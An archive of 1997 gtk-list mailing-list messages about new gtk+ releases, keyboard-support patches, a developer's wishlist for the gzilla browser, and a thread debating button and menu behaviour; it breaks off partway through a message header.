From petm@scam.XCF.Berkeley.EDU
Received: (qmail 2137 invoked from network); 5 Jun 1997 21:23:15 -0000
Received: from scam.xcf.berkeley.edu (HELO xcf.berkeley.edu) (128.32.43.201)
by mail2.redhat.com with SMTP; 5 Jun 1997 21:23:15 -0000
Received: (qmail 18037 invoked from network); 5 Jun 1997 19:33:07 -0000
Received: from localhost (127.0.0.1)
by localhost with SMTP; 5 Jun 1997 19:33:07 -0000
To: gtk-list@redhat.com
Subject: New version of gtk+
Date: Thu, 05 Jun 1997 12:33:06 -0700
From: Peter Mattis <petm@scam.XCF.Berkeley.EDU>
I've uploaded a new version of gtk+ to
ftp://ftp.xcf.berkeley.edu/pub/pmattis. This is the same version as
will be in the upcoming gimp 0.99.10 release, which will be happening
Real Soon Now.
There aren't too many changes. The most obvious is that some of the
signal handling structure and constant names have changed. (Param ->
Arg). And the GtkValueInitFunc, which was really never used except as
an experiment by myself, has changed to GtkArgFunc. I've been toying
with a mechanism for setting options for widgets and this is it. The
main problem is that it looks a lot like Xt's Va-type functions. (Take
a look at the "simple.c" test program to see what I'm talking
about). And I'm still playing around with this. It isn't set up for
all widgets and I'm not sure its even going to stay. Note: People
who've written their own widgets will need to perform some of these
name changes. GtkSignalParam -> GtkArg. GTK_PARAM* -> GTK_ARG*. And
the GtkArg structure is slightly different than the old GtkSignalParam
structure which necessitates minor changes to marshalling
functions. It took me all of 5 minutes to convert gzilla. This
shouldn't be difficult. (Yeah, this is something of a gratuitous
change...)
I've also changed the pixmap widget so that it contains only a single
pixmap and a bitmap mask. (As opposed to 5 different pixmaps...one for
each state). The advantages are fewer pixmaps are used and pixmaps can
have truly transparent areas and therefore work better in the context
of background pixmaps. To support the bitmap masks, gc's in gdk now
support clip masks. (And image widgets have also been modified to
support a bitmap mask).
The xpm reading functions in gdk have been modified to optionally
return a bitmap mask as well as the pixmap. Additionally, a new
xpm function has been added which loads the xpm from a C data
structure instead of from a file. This allows xpm's to be embedded in
the code itself.
And there have been some bug fixes and other miscellaneous changes.
Peter
From markom@snet.fri.uni-lj.si
Received: (qmail 14698 invoked from network); 6 Jun 1997 09:13:44 -0000
Received: from stealth.fri.uni-lj.si (HELO snet.fri.uni-lj.si) (@193.2.72.13)
by mail2.redhat.com with SMTP; 6 Jun 1997 09:13:41 -0000
Received: from hel (hel.fri.uni-lj.si [193.2.73.158]) by snet.fri.uni-lj.si
(8.8.5/8.7.3) with SMTP id LAA02963 for <gtk-list@redhat.com>;
Fri, 6 Jun 1997 11:13:27 +0200 (METDST)
Sender: markom@snet.fri.uni-lj.si
Message-ID: <3397D4B7.3BB2@snet.fri.uni-lj.si>
Date: Fri, 06 Jun 1997 11:13:27 +0200
From: Marko Macek <Marko.Macek@snet.fri.uni-lj.si>
Organization: Faculty of Computer and Information Science
X-Mailer: Mozilla 3.0 (X11; I; HP-UX B.10.01 9000/715)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: GTK keyboard support patches.
References: <"4uLgC1.0.XX.5vobp"@mail2.redhat.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
> I've uploaded a new version of gtk+ to
> ftp://ftp.xcf.berkeley.edu/pub/pmattis. This is the same version as
> will be in the upcoming gimp 0.99.10 release, which will be happening
> Real Soon Now.
I have written some patches for 0.99.9 release of gtk+. They do the
following:
- more keyboard support for gtkentry widget.
(are there plans for gtk+ to support the clipboard,
it is needed for the ^XCV and ^Ins/Del/S-Ins keys).
- keyboard support for gtkscale widget (and some for gtkscrollbar).
(unfinished, I need to add something to show the focus).
Do I send the patches to you?
I plan to do these sometime in the future:
- keyboard support for switching tabs in the notebook.
(any ideas how to do this?).
- keyboard support for the menus. There does not seem to be any
at this time.
- other keyboard stuff (I'd like gtk to be usable without the mouse
when possible -- see my sig ;-)
Is anybody else working on keyboard support issues?
Are there any plans to speed up the resizing of dialogs. This
is kind of slow sometimes when used with OpaqueResize mode of my
window manager.
Other than that, excellent work.
Mark
--
... MouseDevice /dev/null
--------_--------------------------------------------------------------
Marko.Macek@snet.fri.uni-lj.si http://ixtas.fri.uni-lj.si/~markom
From petm@scam.XCF.Berkeley.EDU
Received: (qmail 15693 invoked from network); 6 Jun 1997 09:29:58 -0000
Received: from scam.xcf.berkeley.edu (HELO xcf.berkeley.edu) (128.32.43.201)
by mail2.redhat.com with SMTP; 6 Jun 1997 09:29:57 -0000
Received: (qmail 22915 invoked from network); 6 Jun 1997 09:21:16 -0000
Received: from localhost (127.0.0.1)
by localhost with SMTP; 6 Jun 1997 09:21:16 -0000
To: gtk-list@redhat.com
Subject: Re: [gtk-list] GTK keyboard support patches.
In-reply-to: Your message of "Fri, 06 Jun 1997 11:13:27 +0200."
<3397D4B7.3BB2@snet.fri.uni-lj.si>
Date: Fri, 06 Jun 1997 02:21:10 -0700
From: Peter Mattis <petm@scam.XCF.Berkeley.EDU>
Marko Macek writes:
>Do I send the patches to you?
If the aren't too big you can send them to the list so other people
can try them out to. If the patches are on the large side you can send
them to me directly.
>Is anybody else working on keyboard support issues?
Not that I know of.
>Are there any plans to speed up the resizing of dialogs. This
>is kind of slow sometimes when used with OpaqueResize mode of my
>window manager.
It sounds like the geometry management code needs to be overhauled
somewhat. It might be a good idea to re-examine that code since it
hasn't changed much since the very earliest incarnations of gtk.
Peter
From petm@scam.XCF.Berkeley.EDU
Received: (qmail 23129 invoked from network); 7 Jun 1997 06:26:12 -0000
Received: from scam.xcf.berkeley.edu (HELO xcf.berkeley.edu) (128.32.43.201)
by mail2.redhat.com with SMTP; 7 Jun 1997 06:26:11 -0000
Received: (qmail 6389 invoked from network); 7 Jun 1997 06:11:13 -0000
Received: from localhost (127.0.0.1)
by localhost with SMTP; 7 Jun 1997 06:11:13 -0000
To: gtk-list@redhat.com
Subject: another new version of gtk+
Date: Fri, 06 Jun 1997 23:11:12 -0700
From: Peter Mattis <petm@scam.XCF.Berkeley.EDU>
So I lied the other day. I said the version of gtk+ I had just
uploaded to ftp://ftp.xcf.berkeley.edu/pub/pmattis was going to be the
one in the next version of the gimp. But bug fixes have caused that to
not be true. A new version has been put up. This one fixes the
compilation difficulties and some nasty bugs the gimp brought out.
Peter
From raph@acm.org
Received: (qmail 4672 invoked from network); 8 Jun 1997 05:42:12 -0000
Received: from callisto.hip.berkeley.edu (136.152.64.218)
by mail2.redhat.com with SMTP; 8 Jun 1997 05:42:10 -0000
Received: (from raph@localhost) by callisto.hip.berkeley.edu (8.6.12/8.6.12)
id WAA05045 for gtk-list@redhat.com; Sat, 7 Jun 1997 22:43:37 -0700
Message-ID: <339A4684.511C8888@acm.org>
Date: Sat, 07 Jun 1997 22:43:32 -0700
From: Raph Levien <raph@acm.org>
X-Mailer: Mozilla 3.0 (X11; U; Linux 1.2.13 i586)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: gtk wish list
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Here's my present wish list for gtk things that would make life much
easier for gzilla.
BUGS
+ button background stays in prelight if button click signal function
sets
button insensitive
+ cast from accelerator_key to hash sign-extends, so will cause
corruption
if 8-bit keys are ever used in accelerators
IMPORTANT
+ accelerators should be able to use keys other than 0x20-0xff.
Netscape defines
Esc, <alt><left>, and <alt><right>
+ why does gtk_entry_button_press always return FALSE? Since
gtk_page_button_press does a grab, it really screws things up.
WOULD BE NICE
+ some way to right-justify the help menu in a menubar
+ a clean way to specify the size of a gtk_entry
+ ditto for maximum number of chars in gtk_entry (or should I hack
this by
connecting to the CHANGED signal and undoing changes if new size
exceeds max?)
+ better size negotiation :-)
I'm still working on ideas for getting scrolling windows with embedded
widgets to work nicely, but of course it would be fantastic if that were
natively supported in gtk+. Since I'm still stuck on this point, I'm now
concentrating on the parts of gzilla that don't have much to do with
page layout. Yesterday I made the UI a bit richer, today I started on
forms.
Raph
From martynas@nomagic.com
Received: (qmail 3198 invoked from network); 12 Jun 1997 15:18:51 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 12 Jun 1997 15:18:45 -0000
Received: (qmail 20060 invoked from network); 12 Jun 1997 15:19:20 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 12 Jun 1997 15:19:20 -0000
Message-ID: <33A01352.2BB9@nomagic.com>
Date: Thu, 12 Jun 1997 18:18:42 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Stupid feature requests
References: <199706121423.HAA06607@panda.mosberger>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi gtk-ers,
I'm new to gtk, haven't written a single stupid app yet, but as always
I already have some idiot newbie remarks that tend to piss the
developers off:
1. Why not make the button label/pixmap/whatever move along with the
button itself when the button is clicked? Motif is the only toolkit
that does not do this and why should gtk inherit bad things?
2. In _all_ other GUI toolkits I've seen the button/menu/scrollbar
stays pressed if you press the mouse button and move the pointer
off the widget. The button gets released when the user releases
the mouse button, wherever the pointer might be. Gtk does it
in a different way: the button gets released if you move the pointer
off it while the mouse button is down. I don't know whether this
is intentional, neither I find it particularly annoying, just not
traditional. Any chance to get it the other way?
3. The menus act kinda weird. If I drag the pointer through menus, it's
ok. But if I release the mouse button, the pointer changes into
X and the menu acts as if I still held the mouse button pressed.
Even when I move the poiner out of the menu, the gtk thinks the
mouse button is still down and keeps popping up other popup menus
from the menu bar as I move the pointer past them. Is this how
it is meant to be? I don't like that... I'd love the menus to act
just like Motif or Windogs or any other menus. ;)
4. When checking the rulers demo from the testgtk, sometimes the
vertical ruler disappears when I move the pointer above the top
of the window. Sometimes I just stays at the topmost position
just like it should.
Guess that's it [for now]. If you find this message stupid and annoying,
ignore it. I just couldn't resist to ask for something I'd love to see
in a toolkit before switching to it.. ;)
Martynas
From otto@redhat.com
Received: (qmail 11119 invoked from network); 12 Jun 1997 15:28:51 -0000
Received: from nimrod.redhat.com (otto@199.183.24.13)
by mail2.redhat.com with SMTP; 12 Jun 1997 15:28:51 -0000
Received: (from otto@localhost)
by nimrod.redhat.com (8.8.5/8.8.5) id LAA13784;
Thu, 12 Jun 1997 11:28:43 -0400
Message-ID: <19970612112842.57510@redhat.com>
Date: Thu, 12 Jun 1997 11:28:42 -0400
From: Otto Hammersmith <otto@redhat.com>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Stupid feature requests
References: <199706121423.HAA06607@panda.mosberger> <33A01352.2BB9@nomagic.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.74
In-Reply-To: <33A01352.2BB9@nomagic.com>; from Martynas Kunigelis on
Thu, Jun 12, 1997 at 06:18:42PM +0300
On Thu, Jun 12, 1997 at 06:18:42PM +0300, Martynas Kunigelis wrote:
> Hi gtk-ers,
>
> I'm new to gtk, haven't written a single stupid app yet, but as always
> I already have some idiot newbie remarks that tend to piss the
> developers off:
>
> 1. Why not make the button label/pixmap/whatever move along with the
> button itself when the button is clicked? Motif is the only toolkit
> that does not do this and why should gtk inherit bad things?
Because it used to be that you could specify five different pixmaps
for the various states of a button. If you wanted a pixmap that
moved, you just provided another pixmap. It worked, but resulted in a
lot of excess code. (the advantage now is better handling of
backgrounds...)
Apparently Spencer changed how GtkPixmap widgets work, so that may not
be the case any longer. I haven't had the time to look at it... so
I'm not sure there is a way to do it anymore. :-/
> 2. In _all_ other GUI toolkits I've seen the button/menu/scrollbar
> stays pressed if you press the mouse button and move the pointer
> off the widget. The button gets released when the user releases
> the mouse button, wherever the pointer might be. Gtk does it
> in a different way: the button gets released if you move the pointer
> off it while the mouse button is down. I don't know whether this
> is intentional, neither I find it particularly annoying, just not
> traditional. Any chance to get it the other way?
Then you haven't seen Motif, Qt, XForms, Xaw3D and Windows.
The first few were the only ones I had convenient on this machine to
test... the last is from memory. (I remeber how Minesweeper works, okay:)
> 3. The menus act kinda weird. If I drag the pointer through menus, it's
> ok. But if I release the mouse button, the pointer changes into
> X and the menu acts as if I still held the mouse button pressed.
> Even when I move the poiner out of the menu, the gtk thinks the
> mouse button is still down and keeps popping up other popup menus
> from the menu bar as I move the pointer past them. Is this how
> it is meant to be? I don't like that... I'd love the menus to act
> just like Motif or Windogs or any other menus. ;)
Don't dare change this. I love it like this, and so do a few other
people. The only problem I see here is that the pointer doesn't
change appropriately when it's in a dropped down menu. (should be a
trivial fix)
> 4. When checking the rulers demo from the testgtk, sometimes the
> vertical ruler disappears when I move the pointer above the top
> of the window. Sometimes I just stays at the topmost position
> just like it should.
Sounds like a bug. Make your first program a small test case for the
bug.:)
--
-Otto.
From martynas@nomagic.com
Received: (qmail 15323 invoked from network); 12 Jun 1997 15:40:04 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 12 Jun 1997 15:39:44 -0000
Received: (qmail 20161 invoked from network); 12 Jun 1997 15:40:12 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 12 Jun 1997 15:40:12 -0000
Message-ID: <33A01837.56B3@nomagic.com>
Date: Thu, 12 Jun 1997 18:39:35 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: [Fwd: Stupid feature requests]
Content-Type: multipart/mixed; boundary="------------56976A5A22E0"
This is a multi-part message in MIME format.
--------------56976A5A22E0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Arrgghh, it's me again...
Sorry about arogant feature requests I just sent, I figured menus
act the same under Widhogs NT. It's just that I like it better the
old way.. And it would be nice if the pointer remained an arrow, not
an X.
BRW, I'd like to get the documentation in html format so I can browse
it with Netscape at home. I do *not* want to convert it myself. Could
someone upload a tar/gzipped html gtk documentation somewhere? I think
a lot of people would appreciate that...
Thanks in advace,
Martynas
--------------56976A5A22E0
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-ID: <33A01352.2BB9@nomagic.com>
Date: Thu, 12 Jun 1997 18:18:42 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Stupid feature requests
References: <199706121423.HAA06607@panda.mosberger>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi gtk-ers,
I'm new to gtk, haven't written a single stupid app yet, but as always
I already have some idiot newbie remarks that tend to piss the
developers off:
1. Why not make the button label/pixmap/whatever move along with the
button itself when the button is clicked? Motif is the only toolkit
that does not do this and why should gtk inherit bad things?
2. In _all_ other GUI toolkits I've seen the button/menu/scrollbar
stays pressed if you press the mouse button and move the pointer
off the widget. The button gets released when the user releases
the mouse button, wherever the pointer might be. Gtk does it
in a different way: the button gets released if you move the pointer
off it while the mouse button is down. I don't know whether this
is intentional, neither I find it particularly annoying, just not
traditional. Any chance to get it the other way?
3. The menus act kinda weird. If I drag the pointer through menus, it's
ok. But if I release the mouse button, the pointer changes into
X and the menu acts as if I still held the mouse button pressed.
Even when I move the poiner out of the menu, the gtk thinks the
mouse button is still down and keeps popping up other popup menus
from the menu bar as I move the pointer past them. Is this how
it is meant to be? I don't like that... I'd love the menus to act
just like Motif or Windogs or any other menus. ;)
4. When checking the rulers demo from the testgtk, sometimes the
vertical ruler disappears when I move the pointer above the top
of the window. Sometimes I just stays at the topmost position
just like it should.
Guess that's it [for now]. If you find this message stupid and annoying,
ignore it. I just couldn't resist to ask for something I'd love to see
in a toolkit before switching to it.. ;)
Martynas
--------------56976A5A22E0--
From martynas@nomagic.com
Received: (qmail 17413 invoked from network); 12 Jun 1997 15:46:35 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 12 Jun 1997 15:46:32 -0000
Received: (qmail 20203 invoked from network); 12 Jun 1997 15:47:10 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 12 Jun 1997 15:47:10 -0000
Message-ID: <33A019D9.35D2@nomagic.com>
Date: Thu, 12 Jun 1997 18:46:33 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
References: <199706121423.HAA06607@panda.mosberger> <33A01352.2BB9@nomagic.com>
<19970612112842.57510@redhat.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Otto Hammersmith wrote:
>
> On Thu, Jun 12, 1997 at 06:18:42PM +0300, Martynas Kunigelis wrote:
> > Hi gtk-ers,
> >
> > I'm new to gtk, haven't written a single stupid app yet, but as always
> > I already have some idiot newbie remarks that tend to piss the
> > developers off:
> >
> > 1. Why not make the button label/pixmap/whatever move along with the
> > button itself when the button is clicked? Motif is the only toolkit
> > that does not do this and why should gtk inherit bad things?
>
> Because it used to be that you could specify five different pixmaps
> for the various states of a button. If you wanted a pixmap that
> moved, you just provided another pixmap. It worked, but resulted in a
> lot of excess code. (the advantage now is better handling of
> backgrounds...)
>
> Apparently Spencer changed how GtkPixmap widgets work, so that may not
> be the case any longer. I haven't had the time to look at it... so
> I'm not sure there is a way to do it anymore. :-/
>
Damn. I really hate the Motif-way. The button label _should_ lower along
with the button when it's pressed, this is how it look in the real
world. Please, please, make it so!
> > 2. In _all_ other GUI toolkits I've seen the button/menu/scrollbar
> > stays pressed if you press the mouse button and move the pointer
> > off the widget. The button gets released when the user releases
> > the mouse button, wherever the pointer might be. Gtk does it
> > in a different way: the button gets released if you move the pointer
> > off it while the mouse button is down. I don't know whether this
> > is intentional, neither I find it particularly annoying, just not
> > traditional. Any chance to get it the other way?
>
> Then you haven't seen Motif, Qt, XForms, Xaw3D and Windows.
>
> The first few were the only ones I had convenient on this machine to
> test... the last is from memory. (I remeber how Minesweeper works, okay:)
>
Arghhh, sorry again.. I just checked and Windows and Motif really act
the way you say... SORRY, I'M A WUSS (but Josephine is not :)
[BTW, I've been doing Qt for half a year, and now (can you believe it)
I got bored of it just because of its license since a lot of Linuxers
do not like the license]
Martynas
From amundson@cs.umn.edu
Received: (qmail 5354 invoked from network); 12 Jun 1997 16:24:05 -0000
Received: from augustus-227.cs.umn.edu (HELO augustus-239.cs.umn.edu)
(amundson@160.94.227.171)
by mail2.redhat.com with SMTP; 12 Jun 1997 16:24:04 -0000
Received: from localhost (amundson@localhost)
by augustus-239.cs.umn.edu (8.8.5/8.8.5) with SMTP id LAA04299
for <gtk-list@redhat.com>; Thu, 12 Jun 1997 11:23:55 -0500 (CDT)
Date: Thu, 12 Jun 1997 11:23:54 -0500 (CDT)
From: Shawn T Amundson <amundson@cs.umn.edu>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] [Fwd: Stupid feature requests]
In-Reply-To: <33A01837.56B3@nomagic.com>
Message-ID: <Pine.GSO.3.95q.970612110932.24101D-100000@augustus-239.cs.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Thu, 12 Jun 1997, Martynas Kunigelis wrote:
> BRW, I'd like to get the documentation in html format so I can browse
> it with Netscape at home. I do *not* want to convert it myself. Could
> someone upload a tar/gzipped html gtk documentation somewhere? I think
> a lot of people would appreciate that...
Look at this if you have not yet:
http://www.cs.umn.edu/~amundson/gtk/
The specific pages you want to download to your machine are:
http://www.cs.umn.edu/~amundson/gtk/docs/gtk_toc.html
http://www.cs.umn.edu/~amundson/gtk/docs/gtk.html
http://www.cs.umn.edu/~amundson/gtk/docs/gdk_toc.html
http://www.cs.umn.edu/~amundson/gtk/docs/gdk.html
This is the only place to get them in html that I know of. I do not
have time to gzip them, but they are not so huge anyway. (I'm lazy too!)
I'm fairly sure they are up-to-date with the most recent distribution.
(I don't think they changed since GIMP 0.99.9.)
I've expanded the "Where is documentation for GTK+" question in the FAQ
to account for this additional info. ;-) SGML is very cool, BTW.
--
Shawn T. Amundson University of Minnesota
Systems Administration Computer Science System Staff
amundson@cs.umn.edu http://www.cs.umn.edu/~amundson/
Feel "free" to join the Anti-Windoze movement. Try Linux.
From amundson@cs.umn.edu
Received: (qmail 25343 invoked from network); 12 Jun 1997 16:44:44 -0000
Received: from augustus-239.cs.umn.edu (amundson@160.94.239.171)
by mail2.redhat.com with SMTP; 12 Jun 1997 16:44:42 -0000
Received: from localhost (amundson@localhost)
by augustus-239.cs.umn.edu (8.8.5/8.8.5) with SMTP id LAA06983
for <gtk-list@redhat.com>; Thu, 12 Jun 1997 11:44:23 -0500 (CDT)
Date: Thu, 12 Jun 1997 11:44:23 -0500 (CDT)
From: Shawn T Amundson <amundson@cs.umn.edu>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
In-Reply-To: <19970612112842.57510@redhat.com>
Message-ID: <Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Thu, 12 Jun 1997, Otto Hammersmith wrote:
> On Thu, Jun 12, 1997 at 06:18:42PM +0300, Martynas Kunigelis wrote:
> >
> > 1. Why not make the button label/pixmap/whatever move along with the
> > button itself when the button is clicked? Motif is the only toolkit
> > that does not do this and why should gtk inherit bad things?
>
> Because it used to be that you could specify five different pixmaps
> for the various states of a button. If you wanted a pixmap that
> moved, you just provided another pixmap. It worked, but resulted in a
> lot of excess code. (the advantage now is better handling of
> backgrounds...)
>
> Apparently Spencer changed how GtkPixmap widgets work, so that may not
> be the case any longer. I haven't had the time to look at it... so
> I'm not sure there is a way to do it anymore. :-/
Isn't this just a matter of shifting the widget that is in the button
down and right 2(?) pixels? It shouldn't make a difference what widget it
is, whether it's a label, pixmap, or a container with both.
--
Shawn T. Amundson University of Minnesota
Systems Administration Computer Science System Staff
amundson@cs.umn.edu http://www.cs.umn.edu/~amundson/
"My daydream screams bitter 'til the end" -- Smashing Pumpkins
From otto@redhat.com
Received: (qmail 29429 invoked from network); 12 Jun 1997 16:52:11 -0000
Received: from nimrod.redhat.com (otto@199.183.24.13)
by mail2.redhat.com with SMTP; 12 Jun 1997 16:52:11 -0000
Received: (from otto@localhost)
by nimrod.redhat.com (8.8.5/8.8.5) id MAA14181;
Thu, 12 Jun 1997 12:52:04 -0400
Message-ID: <19970612125203.20410@redhat.com>
Date: Thu, 12 Jun 1997 12:52:03 -0400
From: Otto Hammersmith <otto@redhat.com>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
References: <19970612112842.57510@redhat.com>
<Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.74
In-Reply-To: <Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>;
from Shawn T Amundson on Thu, Jun 12, 1997 at 11:44:23AM -0500
On Thu, Jun 12, 1997 at 11:44:23AM -0500, Shawn T Amundson wrote:
> On Thu, 12 Jun 1997, Otto Hammersmith wrote:
>
> > On Thu, Jun 12, 1997 at 06:18:42PM +0300, Martynas Kunigelis wrote:
>
> > >
> > > 1. Why not make the button label/pixmap/whatever move along with the
> > > button itself when the button is clicked? Motif is the only toolkit
> > > that does not do this and why should gtk inherit bad things?
> >
> > Because it used to be that you could specify five different pixmaps
> > for the various states of a button. If you wanted a pixmap that
> > moved, you just provided another pixmap. It worked, but resulted in a
> > lot of excess code. (the advantage now is better handling of
> > backgrounds...)
> >
> > Apparently Spencer changed how GtkPixmap widgets work, so that may not
> > be the case any longer. I haven't had the time to look at it... so
> > I'm not sure there is a way to do it anymore. :-/
>
> Isn't this just a matter of shifting the widget that is in the button
> down and right 2(?) pixels? It shouldn't make a difference what widget it
> is, whether it's a label, pixmap, or a container with both.
Yeah, sorry... somehow I read label/pixmap/whatever as pixmap. I'm
not doing well today... *sigh*
So my question is, is it really -that- important? Seems like an awful
lot of work (not that it's hard) for something noone will hardly
notice.
--
-Otto.
From amundson@cs.umn.edu
Received: (qmail 3315 invoked from network); 12 Jun 1997 17:06:26 -0000
Received: from augustus-227.cs.umn.edu (HELO augustus-239.cs.umn.edu)
(amundson@160.94.227.171)
by mail2.redhat.com with SMTP; 12 Jun 1997 17:06:20 -0000
Received: from localhost (amundson@localhost)
by augustus-239.cs.umn.edu (8.8.5/8.8.5) with SMTP id MAA10326
for <gtk-list@redhat.com>; Thu, 12 Jun 1997 12:06:13 -0500 (CDT)
Date: Thu, 12 Jun 1997 12:06:12 -0500 (CDT)
From: Shawn T Amundson <amundson@cs.umn.edu>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
In-Reply-To: <19970612125203.20410@redhat.com>
Message-ID: <Pine.GSO.3.95q.970612115653.24101F-100000@augustus-239.cs.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Thu, 12 Jun 1997, Otto Hammersmith wrote:
> > Isn't this just a matter of shifting the widget that is in the button
> > down and right 2(?) pixels? It shouldn't make a difference what widget it
> > is, whether it's a label, pixmap, or a container with both.
>
> Yeah, sorry... somehow I read label/pixmap/whatever as pixmap. I'm
> not doing well today... *sigh*
>
> So my question is, is it really -that- important? Seems like an awful
> lot of work (not that it's hard) for something noone will hardly
> notice.
>
I think it would be worth it. But I agree it is not a high priority
thing.
--
Shawn T. Amundson University of Minnesota
Systems Administration Computer Science System Staff
amundson@cs.umn.edu http://www.cs.umn.edu/~amundson/
WARNING: This line TOXIC to health; please do not read this line.
From petm@graft.xcf.berkeley.edu
Received: (qmail 6775 invoked from network); 12 Jun 1997 18:17:08 -0000
Received: from graft.xcf.berkeley.edu (128.32.43.209)
by mail2.redhat.com with SMTP; 12 Jun 1997 18:17:06 -0000
Received: from graft.xcf.berkeley.edu (localhost [127.0.0.1])
by graft.xcf.berkeley.edu (8.8.5/8.8.5) with ESMTP id LAA28183
for <gtk-list@redhat.com>; Thu, 12 Jun 1997 11:20:24 -0700 (PDT)
Message-Id: <199706121820.LAA28183@graft.xcf.berkeley.edu>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
In-reply-to: Your message of "Thu, 12 Jun 1997 11:44:23 CDT."
<Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>
Date: Thu, 12 Jun 1997 11:20:24 -0700
From: Peter Mattis <petm@graft.xcf.berkeley.edu>
Shawn T Amundson writes:
>Isn't this just a matter of shifting the widget that is in the button
>down and right 2(?) pixels? It shouldn't make a difference what widget it
>is, whether it's a label, pixmap, or a container with both.
The reason buttons don't move their child down and to the right when
they are depressed is because I don't think that's what is happening
visually. My view of buttons is that you are looking at them straight
on. That is, the user interface lies in a plane and you're above it
looking straight at it. When a button gets pressed it moves directly
away from you. To be absolutely correct I guess the child should
actually shrink a tiny amount. But I don't see why the child should
shift down and to the left. Remember, the child is supposed to be
attached to the buttons surface. Its not good for it to appear like
the child is slipping on the surface of the button.
On a more practical note, I did implement this at one point and
determined it didn't look good and removed it.
Peter
From sumner@pathway.nospam.net
Received: (qmail 27020 invoked from network); 12 Jun 1997 18:44:18 -0000
Received: from dialup39.pathway.net (HELO dialup.pathway.net) (qmailr@207.76.141.48)
by mail2.redhat.com with SMTP; 12 Jun 1997 18:44:17 -0000
Received: (qmail 28387 invoked by uid 3000); 12 Jun 1997 18:47:35 -0000
Date: 12 Jun 1997 18:47:35 -0000
Message-ID: <19970612184735.28386.qmail@dialup.pathway.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: gtk-list@redhat.com
From: sumner@pathway.nospam.net
Subject: [gtk-list] Re: Stupid feature requests
In-Reply-To: <199706121820.LAA28183@graft.xcf.berkeley.edu>
References: <Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>
<199706121820.LAA28183@graft.xcf.berkeley.edu>
X-Mailer: VM 6.22 under 19.15 XEmacs Lucid
Peter Mattis writes:
>
> Shawn T Amundson writes:
> >Isn't this just a matter of shifting the widget that is in the button
> >down and right 2(?) pixels? It shouldn't make a difference what widget it
> >is, whether it's a label, pixmap, or a container with both.
>
> The reason buttons don't move their child down and to the right when
> they are depressed is because I don't think that's what is happening
> visually. My view of buttons is that you are looking at them straight
> on. That is, the user interface lies in a plane and you're above it
> looking straight at it. When a button gets pressed it moves directly
> away from you. To be absolutely correct I guess the child should
> actually shrink a tiny amount. But I don't see why the child should
> shift down and to the left. Remember, the child is supposed to be
> attached to the buttons surface. Its not good for it to appear like
> the child is slipping on the surface of the button.
I concur with Peter's assessment of the visuals. It would be weird
for the pixmaps to move sideways. Yes, shrinking is technically
appropriate, but it would look really ugly for some images and isn't
worth the trouble it would be, IMO.
Just my $.02,
Sumner
From albrecht@algorithmics.com
Received: (qmail 20021 invoked from network); 12 Jun 1997 19:41:41 -0000
Received: from uunet.ca (HELO seraph.uunet.ca) (142.77.1.254)
by mail2.redhat.com with SMTP; 12 Jun 1997 19:41:41 -0000
Received: from currency ([204.92.92.1]) by seraph.uunet.ca with SMTP id <656691-3331>;
Thu, 12 Jun 1997 15:41:23 -0400
Received: from crusher.algorithmics by currency (4.1/SMI-4.1)
id AA07022; Thu, 12 Jun 97 15:41:03 EDT
Received: from crusher by crusher.algorithmics (SMI-8.6/SMI-SVR4)
